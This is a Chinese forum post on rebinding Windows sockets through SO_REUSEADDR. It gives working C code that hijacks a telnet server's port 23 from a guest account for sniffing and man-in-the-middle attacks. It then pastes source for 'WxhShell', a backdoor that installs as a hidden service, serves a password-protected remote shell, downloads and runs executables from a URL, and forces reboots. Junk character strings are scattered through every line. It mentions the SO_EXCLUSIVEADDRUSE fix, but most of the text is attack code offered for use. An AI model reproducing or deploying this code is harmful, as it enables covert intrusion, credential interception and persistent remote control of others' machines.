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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i@q&5;%%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K@2),(z  
Fcx&hj1gQ  
  saddr.sin_family = AF_INET; }qUX=s GG  
NRuNKl.v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3'Rx=G'  
I'Hf{Erw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gr{ DWCK  
z{543~Og59  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [WJ+h~~ o  
>_TZ'FT  
  这意味着什么?意味着可以进行如下的攻击: vI?, 47Hj+  
"7 yD0T)2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 > !JS:5|  
3%6? g*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zCA2X !7F  
[Pp'Ye~K@c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J4'eI[73  
y7{?Ip4[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IBGrt^$M  
"MsIjSu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l]vm=7:  
_aphkeqd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xk5 ]^yDp  
_{>vTBU4F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wL1MENzp*z  
4| f*eO  
  #include Y2TtY;  
  #include ,6/V" kqIP  
  #include TC('H[ ]  
  #include    #mT"gs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y5r4&~04  
  int main() R_KH"`q  
  { $qiya[&G4  
  WORD wVersionRequested; "Q<MS'a  
  DWORD ret; VTM/hJmwJ  
  WSADATA wsaData; FmW(CGs  
  BOOL val; ~u{uZ(~  
  SOCKADDR_IN saddr; SM '|+ d  
  SOCKADDR_IN scaddr; bcyzhK=  
  int err; 1 zZlC#V  
  SOCKET s; ]5O~+Nf  
  SOCKET sc; |)&%A%m  
  int caddsize; GyIV Hby  
  HANDLE mt; Xvv6~  
  DWORD tid;   O1lNAcpeM  
  wVersionRequested = MAKEWORD( 2, 2 ); H\ %7%  
  err = WSAStartup( wVersionRequested, &wsaData ); 6863xOv{T  
  if ( err != 0 ) { 1oS/`)  
  printf("error!WSAStartup failed!\n"); #WuBL_nZ~  
  return -1; u, ff>/1  
  } s7<AfaJPF  
  saddr.sin_family = AF_INET; #spCtZE  
   | Iib|HQ)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^~dWU>  
]d]]'Hk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dM5-;  
  saddr.sin_port = htons(23); ,}PgOJZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a#4?cEy  
  { bOB \--:]  
  printf("error!socket failed!\n"); _#niyW+?~  
  return -1; do%&m]#;  
  } IPk4 ;,  
  val = TRUE; .H|-_~Yx|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $ `c:&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vd ZW%-A&\  
  { d$RIS+V  
  printf("error!setsockopt failed!\n"); ` A>@]d  
  return -1; +TJCLZ..  
  } M{@(G5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =(Mch~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -~0^P,yQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hrn+UL:d  
P?\6@_ Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @- xjfC\d  
  { ]'}L 1r  
  ret=GetLastError(); 8Wx=p#_  
  printf("error!bind failed!\n"); .]u /O`c]  
  return -1; ZH8,K Y"  
  } ?}0,o.  
  listen(s,2); |N2#ItBbW  
  while(1) Za9qjBH   
  { tYS06P^<  
  caddsize = sizeof(scaddr); KHme&yMq  
  //接受连接请求 ]`K2 N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `Oa WGZ[  
  if(sc!=INVALID_SOCKET) sT)CxOV  
  { m@c)Xci  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rH-23S  
  if(mt==NULL) NOva'qk  
  { /7kC<  
  printf("Thread Creat Failed!\n"); p'%s=TGwv  
  break; WE?5ehEme  
  } ]/Pn EU[  
  } fex@,I&  
  CloseHandle(mt); f8~_E  
  } Tbq;h ?D  
  closesocket(s); Upe%rC(  
  WSACleanup(); DU S6SO  
  return 0; SU0 hma8  
  }   fVlB=8DNk&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5+'<R8{:,  
  { GJrG~T  
  SOCKET ss = (SOCKET)lpParam; C_Dn{  
  SOCKET sc; s_Sk0}e  
  unsigned char buf[4096]; ;TYBx24vD'  
  SOCKADDR_IN saddr; Dtk=[;"k2a  
  long num; p+eh%2Jm  
  DWORD val; se)TzI^]b@  
  DWORD ret; /x hKd]Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1#x0q:6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5+vaE 2v  
  saddr.sin_family = AF_INET; _/|\aqF.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aUp g u"  
  saddr.sin_port = htons(23); 80I#TA6C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w:0E(z  
  { ^W ^OfY  
  printf("error!socket failed!\n"); @dK Tx#gZ  
  return -1; 7I}uZ/N  
  } Y]>t[Lo%  
  val = 100; hb$Ce'}N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7dWS  
  { ,bi^P>X  
  ret = GetLastError(); wMn i  
  return -1; Tk}]Gev  
  } j%kncGS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (=0.inZ  
  { XSR 4iu  
  ret = GetLastError(); V0@=^Bls  
  return -1; # d  
  } Vr}'.\$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l#o ~W`  
  { .A|udZ,  
  printf("error!socket connect failed!\n"); S[gx{Bxiw  
  closesocket(sc); 7#XzrT]  
  closesocket(ss); qGo.WZ$  
  return -1; ]Ze1s02(  
  } )7F/O3Tq  
  while(1) 4RO}<$Nx}  
  { M%HU4pTW#o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q~3>R=t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ye&;(30Oq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9*g Z-#  
  num = recv(ss,buf,4096,0); jA1 +x:Wq  
  if(num>0) 0J9x9j`&j  
  send(sc,buf,num,0); P:c w|Q  
  else if(num==0) ?,mmYW6TjB  
  break; kP:!/g  
  num = recv(sc,buf,4096,0); HJ"GnZp<  
  if(num>0) uRvP hkqm  
  send(ss,buf,num,0); +(Ae4{z"1+  
  else if(num==0) /v{I  
  break; @gblW*Zhk  
  } L!92P{K  
  closesocket(ss); %b$>qW\*&  
  closesocket(sc); )A6<c%d =x  
  return 0 ; q V =!ORuj  
  } t.<i:#rj>l  
|Cv!,]9:r  
^#pEPVkY  
========================================================== teR Tu  
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下边附上一个代码,,WXhSHELL >MZ/|`[M  
c 9Mz]1@f  
========================================================== 7Q 3k 7  
Txu/{ M,  
#include "stdafx.h" aE8VZ8tvq  
Dt@SqX:~Ee  
#include <stdio.h> IGl9 g_18  
#include <string.h> -?\D\\+t  
#include <windows.h> @ArSC  
#include <winsock2.h> Jy)/%p~  
#include <winsvc.h> O.? JmE  
#include <urlmon.h> F9PxSk_\9  
V~GDPJ+  
#pragma comment (lib, "Ws2_32.lib") /~1+i'7V.,  
#pragma comment (lib, "urlmon.lib") llq<egZpm  
dysS9a,  
#define MAX_USER   100 // 最大客户端连接数 "oyo#-5z  
#define BUF_SOCK   200 // sock buffer &ZO0r ^  
#define KEY_BUFF   255 // 输入 buffer Wtnfa{gP%  
F?0Ykjh3  
#define REBOOT     0   // 重启 vM={V$D&  
#define SHUTDOWN   1   // 关机 pa+hL,w{6  
:OT&  
#define DEF_PORT   5000 // 监听端口 pglVR </  
E .h*g8bXe  
#define REG_LEN     16   // 注册表键长度 5xiEPh  
#define SVC_LEN     80   // NT服务名长度 ).O)p9  
Qs!5<)6  
// 从dll定义API ".%k6W<n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k$VlfQ'+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5P bW[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PCA4k.,T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [),ige  
I%):1\)  
// wxhshell配置信息 '/p4O2b,  
struct WSCFG { ?6!LL5a.  
  int ws_port;         // 监听端口 P}iE+Z 3  
  char ws_passstr[REG_LEN]; // 口令 8ag!K*\ V<  
  int ws_autoins;       // 安装标记, 1=yes 0=no [E_9V%^  
  char ws_regname[REG_LEN]; // 注册表键名 (Ldi|jL  
  char ws_svcname[REG_LEN]; // 服务名 bA 2pbjg=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k6^Z~5 Sy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qq?!LEZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rv;3~'V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :RYTL'hes  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x`s>*^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7<4qQ.deE  
_1^'(5f$  
}; crCJrN=  
YSMAd-Ef-  
// default Wxhshell configuration [[ZJ]^n,  
struct WSCFG wscfg={DEF_PORT, )7@0[>  
    "xuhuanlingzhe", )oZ dj`  
    1, lZ0 =;I  
    "Wxhshell", okXl8&mi  
    "Wxhshell", |Tw~@kT@  
            "WxhShell Service", [ ~,AfY  
    "Wrsky Windows CmdShell Service", 1C.VnzRnJ  
    "Please Input Your Password: ", :UdF  
  1, d9ihhqq3}  
  "http://www.wrsky.com/wxhshell.exe", Bvj0^fSm  
  "Wxhshell.exe" 2%1hdA<  
    }; G}*hM$F  
)u">it+  
// 消息定义模块 *hrd5na  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V&i;\9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sLFl!jX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xj*Wu_  
char *msg_ws_ext="\n\rExit."; hZ3bVi)L\  
char *msg_ws_end="\n\rQuit."; E`q_bn  
char *msg_ws_boot="\n\rReboot..."; 1M-pr 8:6s  
char *msg_ws_poff="\n\rShutdown..."; ,Q B<7a+I  
char *msg_ws_down="\n\rSave to "; G3]4A&h9v~  
E7hhew  
char *msg_ws_err="\n\rErr!"; DIvHvFss  
char *msg_ws_ok="\n\rOK!"; i4Jc.8^9$  
oU|c.mYe  
char ExeFile[MAX_PATH]; |qLh5Ty  
int nUser = 0; 0x7'^Z>-oe  
HANDLE handles[MAX_USER]; $kgVa^  
int OsIsNt; NA*&#X#~  
l6B@qYLZ  
SERVICE_STATUS       serviceStatus; R]dg_Da  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^aQ"E9  
l:%GH  
// 函数声明 NI5``BwpO  
int Install(void); fM}#ON>Z  
int Uninstall(void); +p^u^a  
int DownloadFile(char *sURL, SOCKET wsh); Bx!-"e  
int Boot(int flag); _@g;8CA  
void HideProc(void); tkhCw/  
int GetOsVer(void); YqG7h,F  
int Wxhshell(SOCKET wsl); )Z$!PqRw@u  
void TalkWithClient(void *cs); 67TwPvh  
int CmdShell(SOCKET sock); +(*DT9s+  
int StartFromService(void); Si,6o!0k  
int StartWxhshell(LPSTR lpCmdLine); {*KEP  
B *vM0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H]!"Zq k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !W0v >p  
A >$I -T+  
// 数据结构和表定义 +"(jjxJm  
SERVICE_TABLE_ENTRY DispatchTable[] = !BI;C(,RL  
{ /(T?j!nPE  
{wscfg.ws_svcname, NTServiceMain}, S'14hk<  
{NULL, NULL} Qd6FH2Pl  
}; WHI`/FM  
+V+a4lU14  
// 自我安装 /=h` L ,  
int Install(void) p'fYULYE  
{ {$r[5%L\H  
  char svExeFile[MAX_PATH]; *A< 5*Db:F  
  HKEY key; F?cK- .  
  strcpy(svExeFile,ExeFile); }Lv;!  
DMS! a$4  
// 如果是win9x系统,修改注册表设为自启动 *H122njH+T  
if(!OsIsNt) { F/Pep?'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {!`4iiF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cAy3^{3:  
  RegCloseKey(key); _6Ha  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9kojLqCT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7KPwQ?SjT  
  RegCloseKey(key); 3F0 N^)@  
  return 0; V1?]|HTQcT  
    } G j1_!.T  
  } ca}2TT&t  
} C7vxw-o|&p  
else { !c-*O<Y  
fV:83|eQ  
// 如果是NT以上系统,安装为系统服务 .o8t+X'G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @6d[=!9  
if (schSCManager!=0) iUwzs&frd  
{ IAEAhqp  
  SC_HANDLE schService = CreateService nie%eC&U  
  ( 2(nlJ7R  
  schSCManager, :!/8 Hv  
  wscfg.ws_svcname, bfO=;S]b!  
  wscfg.ws_svcdisp, `kr?j:g  
  SERVICE_ALL_ACCESS, ]{kPrey  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BD-AI  
  SERVICE_AUTO_START, Q^I\cAIB  
  SERVICE_ERROR_NORMAL, a6H%5N  
  svExeFile, ,P Z ge  
  NULL, BC]?0 U  
  NULL, x:7IIvP  
  NULL, {|\.i  
  NULL, _w Ot39e&  
  NULL iOdpM{~*  
  ); B;WCTMy}  
  if (schService!=0) q9NoI(]e  
  { d1kJRJ   
  CloseServiceHandle(schService); xCKRxF  
  CloseServiceHandle(schSCManager); Ha#>G<;n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WKU=.sY  
  strcat(svExeFile,wscfg.ws_svcname); X(C$@N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3~ \[7I/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d\Zng!Z'  
  RegCloseKey(key); &0f,~ /%Z  
  return 0; `-&K~^-cH  
    } Df#l8YK#  
  } };g"GNy  
  CloseServiceHandle(schSCManager); ^t"'rD-I  
} X?$_Sd"G+5  
} <t,x RBk  
njw|JnDv  
return 1; .m AjfP*  
} }&e5$lB  
"] iB6  
// 自我卸载 ipILG4  
int Uninstall(void) kW (Bkuc)  
{ m4g$N)  
  HKEY key; L-\GHu~)  
z ]Ue|%K  
if(!OsIsNt) { Ru~j,|0r4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E"@wek.-  
  RegDeleteValue(key,wscfg.ws_regname); 9/7u*>:  
  RegCloseKey(key); cAc@n6[`3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;>YzEo  
  RegDeleteValue(key,wscfg.ws_regname); $g7<Y*t[  
  RegCloseKey(key); !a<ng&H^U  
  return 0; N [yy M'C  
  } v}x&?fU `  
} G9 :l'\  
} Z)\@i=m  
else { 4aY|TN/|  
C $JmzrE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @o6L6Y0Naa  
if (schSCManager!=0) T#)P`q  
{ ]q-Y }1di8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^H' \"9;7  
  if (schService!=0) :lzrgsW  
  { _?OG1t!  
  if(DeleteService(schService)!=0) { : c[L3rJl  
  CloseServiceHandle(schService); %[yJ4WL  
  CloseServiceHandle(schSCManager); _l]fkk[T  
  return 0; f9\X>zzB2|  
  } hzRYec(  
  CloseServiceHandle(schService); Gbw2E&a  
  } $\! 7 {6a  
  CloseServiceHandle(schSCManager); ,: ->ErP  
} m_l[MG\  
} A4ygW:  
P2*<GjV`S/  
return 1; "T"h)L<  
} ##o#eZq:"  
veRm2 LSP  
// 从指定url下载文件 h-D }'R  
int DownloadFile(char *sURL, SOCKET wsh) (khL-F  
{ l\?c}7k  
  HRESULT hr; p"Z-6m~  
char seps[]= "/"; eN~=*Mn(za  
char *token; 3{h_&Gbo'D  
char *file; !L8#@BjU  
char myURL[MAX_PATH]; (b6NX~G-:  
char myFILE[MAX_PATH]; +KEWP\r  
)tpL#J  
strcpy(myURL,sURL); i@ BtM9:  
  token=strtok(myURL,seps); U3:j'Su4H?  
  while(token!=NULL) [=_jYzD,j|  
  { S[T8T|_  
    file=token; Q dp)cT  
  token=strtok(NULL,seps); B~du-Z22IZ  
  } s!e3|pGS  
M:6"H%h,W  
GetCurrentDirectory(MAX_PATH,myFILE); I0 RvnMw  
strcat(myFILE, "\\"); BRYHX.}h\A  
strcat(myFILE, file); ^ K E%C;u  
  send(wsh,myFILE,strlen(myFILE),0); +t:0SRSt  
send(wsh,"...",3,0); (@}!0[[^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V#}kwON  
  if(hr==S_OK) 6Kb1~jY  
return 0; 0<B$#8  
else tdaL/rRe  
return 1; y#$CMf -q^  
e NafpK  
} R^e.s -  
s|B3~Q]  
// 系统电源模块 &l[$*<P5V  
int Boot(int flag) w8D"CwS1Rx  
{ A_#DJJMm  
  HANDLE hToken; !&Pui{F  
  TOKEN_PRIVILEGES tkp; D #/Bx[  
T${Q.zHY[!  
  if(OsIsNt) { N{~Y J$!8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BI}Cg{^km  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3 SGDy]  
    tkp.PrivilegeCount = 1; HOh!Xcu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 14'45  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .k \@zQ|Ta  
if(flag==REBOOT) { u=_mvN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t@Nyr&|D  
  return 0; Dl8;$~  
} M {Q;:  
else { wIBO ^w\J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Dm%@*B^b  
  return 0; K:Q<CQ2  
} iRi-cQVy  
  } [R7Y}k:9U  
  else { s&!a  
if(flag==REBOOT) { '-/xyAzS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -8rjgB~."/  
  return 0; xpx\=iAe  
} A6iq[b]  
else { Nl(3Xqov  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fe#\TNeQJ[  
  return 0; 78H'ax9m  
} yq iq,=OvP  
} qc~iQSI  
U2~kJ  
return 1; !o[7wKrXb  
} d6sye^P  
{Fe[:\  
// win9x进程隐藏模块 -{vKus  
void HideProc(void) p`#R<K  
{ M|(Q0 _8  
td3D=Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VEw"  
  if ( hKernel != NULL ) VD]zz ^  
  { Yr=Y@~ XL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h@]XBv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bv%GJ*>>  
    FreeLibrary(hKernel); l/ ;  
  } "4,?uPi  
">j j  
return; A^EE32kbm  
} SrK<fAkx  
y e? 'Ze  
// 获取操作系统版本 c>~*/%+  
int GetOsVer(void) rkY[E(SY  
{ A;|D:;x3G  
  OSVERSIONINFO winfo; %zw1}|s#z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >q1L2',pK  
  GetVersionEx(&winfo); ZH)="qx [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &&RimoIeo  
  return 1; 0f>5(ek  
  else }HePZ{PLM  
  return 0; +|89>}w4  
} W$ 2C47i  
 3 +fp2  
// 客户端句柄模块 2WVka  
int Wxhshell(SOCKET wsl) h"lv7;B$  
{ Ev(>z-{F  
  SOCKET wsh; 'B0{_RaTb  
  struct sockaddr_in client; Gvqxi|  
  DWORD myID; T+K):u g  
YgV817OV  
  while(nUser<MAX_USER) zXxT%ZcCj  
{ )fSOi| |C  
  int nSize=sizeof(client); r|PB*`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |:<f-j7t~  
  if(wsh==INVALID_SOCKET) return 1; zEyN)  
8j % Tf;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o/Q;f@  
if(handles[nUser]==0) 6N S201o  
  closesocket(wsh); O[)kboY  
else 5m(^W[u `  
  nUser++; [ )dXIIM  
  } JU5C}%Q6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b4ONh%  
A_5P/ARmI  
  return 0; u'W8;G*~  
} |3[Wa^U5  
ndz]cx  
// 关闭 socket vucxt }Ti  
void CloseIt(SOCKET wsh) Om@C X<(9C  
{ 2!J&+r  
closesocket(wsh);  K;z7/[%  
nUser--; Uu(SR/R}  
ExitThread(0); }m;,Q9:+m^  
} o-OHjFfB  
iv;Is[<o  
// 客户端请求句柄 M`i\VG  
void TalkWithClient(void *cs) >P @H#=  
{ \EtQ5T*u  
a^zibPG  
  SOCKET wsh=(SOCKET)cs; MgrLSKLT  
  char pwd[SVC_LEN]; $$5aUI:$~$  
  char cmd[KEY_BUFF]; c>Xs&_  
char chr[1]; QY?~ZwYB  
int i,j; gPsi  
(l- ab2'  
  while (nUser < MAX_USER) { UsQ+`\|  
H'HA+q  
if(wscfg.ws_passstr) { q $tUH)0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9"A`sGZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =~H<Z LE+  
  //ZeroMemory(pwd,KEY_BUFF); =4PV;>X  
      i=0; ?D*/*Gk{  
  while(i<SVC_LEN) { /+;h)3PN6  
g8xQ|px  
  // 设置超时 uIZ-#q  
  fd_set FdRead; o`P %&  
  struct timeval TimeOut; Y M\ K%rk  
  FD_ZERO(&FdRead); Ksj -zR;  
  FD_SET(wsh,&FdRead); z'\_jaj^  
  TimeOut.tv_sec=8; Slher0.Y  
  TimeOut.tv_usec=0; \BZhf?9U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S(8$S])0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a$"Hvrj  
R:k5QD9/&p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,>-< (Qi  
  pwd=chr[0]; oxkoA  
  if(chr[0]==0xd || chr[0]==0xa) { 4^~(Mh-Mw  
  pwd=0; OFv%B/O  
  break; TQ*1L:X7M&  
  } ^_u kLzP9  
  i++; /1Q(b  
    } N<|Nwq:NN  
bc) ~k:  
  // 如果是非法用户,关闭 socket xt%7@/hiE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L3--r  
} tEKmy7'#  
G) 7;;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TbGn46!:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WDPb!-VT  
.my0|4CQ#@  
while(1) { _:C9{aEZb  
DhT>']Z  
  ZeroMemory(cmd,KEY_BUFF); v` 7RCg`  
ie\"$i.98H  
      // 自动支持客户端 telnet标准   PCM-i{6/  
  j=0; RyK\uv  
  while(j<KEY_BUFF) { f Tl<p&b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D+z?wuXk  
  cmd[j]=chr[0]; qA$*YIlK  
  if(chr[0]==0xa || chr[0]==0xd) { cmg ^J  
  cmd[j]=0; %$ Z7x\_  
  break; %_L\z*+  
  } i9A+gtd  
  j++; [[Fx[  
    } pDcjwlA%  
/[)qEl2]K  
  // 下载文件 5sJJGv#6  
  if(strstr(cmd,"http://")) { ^Z# W_R\l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V<@ o<R  
  if(DownloadFile(cmd,wsh)) k"]dK,,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/!y)&4"  
  else ;z:UN}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _D_LgH;}  
  } ^8Q62  
  else { G *;a^]-  
1ilBz9x*!  
    switch(cmd[0]) { ;Q[mL(1:  
  wK-3+&,9  
  // 帮助 z3M6V}s4  
  case '?': { w1"nffhO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8C~]yd  
    break; xA$nsZ]  
  } l0cA6b  
  // 安装 ~-m"   
  case 'i': { I_rO!  
    if(Install()) fCtPu08{Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <-S%kA8  
    else a@*S+3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4^Q :  
    break; $8[r9L!  
    } !PJ6%"  
  // 卸载 78OIUNm`  
  case 'r': { QC;^xG+W  
    if(Uninstall()) W.0L:3<"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z%Zd2 v  
    else +g]yA3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ugx%_x6  
    break; fUQ6Z,9  
    }  S"$m]  
  // 显示 wxhshell 所在路径 yH*6@P4:0=  
  case 'p': { Zrr5csE  
    char svExeFile[MAX_PATH]; ,|plWIl~  
    strcpy(svExeFile,"\n\r"); .?e\I`Kk^'  
      strcat(svExeFile,ExeFile); ,NVsn  
        send(wsh,svExeFile,strlen(svExeFile),0); e `,ds~  
    break; g[7#w,o  
    } Za8#$`zq  
  // 重启 -3lb@ 6I6  
  case 'b': { Bw64  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *9c!^ $V  
    if(Boot(REBOOT)) Fa_VKAq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y> Wu  
    else { {=-\|(Bx  
    closesocket(wsh); uDSxTz{  
    ExitThread(0); wqW 0v\  
    } *b}lF4O?  
    break; L^4-5`gj  
    } | j a-  
  // 关机 i?:_:"^x  
  case 'd': { [[Y0  
